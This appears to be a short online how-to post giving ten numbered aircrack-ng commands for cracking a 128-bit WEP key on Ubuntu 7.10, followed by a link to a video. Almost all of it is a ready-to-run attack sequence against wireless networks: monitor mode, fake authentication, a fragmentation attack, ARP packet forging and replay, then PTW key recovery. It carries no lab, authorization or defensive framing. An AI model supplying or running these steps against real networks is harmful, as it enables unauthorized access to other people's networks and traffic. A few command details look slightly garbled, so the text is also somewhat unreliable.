Crack a Wireless WEP

10 Easy Steps to Crack a Wireless WEP Key 128 bit using Ubuntu 7.10
1)using Aircrack-ng Tools
1)sudo airmon-ng start wifi0 (start ur wifi card to monitor mode)
2)sudo wlanconfig ath0 destroy
3)sudo ifconfig ath1 up (makes ur ath1 interface up)
4)sudo iwconfig ath1 mode monitor channel 11 (makes ath1 to set in monitor mode in channel 11)
5)sudo aireplay-ng -1 0 -e linksys -a 00:11:22:33:44:55 -h 00:18:4D:6E:54:79 ath1 ( Sending Authentication Request)
6)sudo aireplay-ng -5 -b 00:11:22:33:44:55 -h 00:18:4D:6E:54:79 ath1 (fragmentation attack)
7)packetforge-ng -0 -a 00:11:22:33:44:55 -h 00:18:4D:6E:54:79 -k 255.255.255.255 -l 255.255.255.255 -y ur xor file.xor -w arp-request (generate an arp packet)
8)sudo airodump-ng -c 11 -bssid 00:11:22:33:44:55 -w capture ath1 (monitors the AP)
9)sudo aireplay-ng -2 -r arp-request ath1 (sending the Arp-request with use interactive frame selection)
10)sudo aircrack-ng -z *.cap (capture*.cap selects all dump files starting with "capture" and ending in "cap") "-z ptw attack
and below is the link for the video
http://www.worldrise.in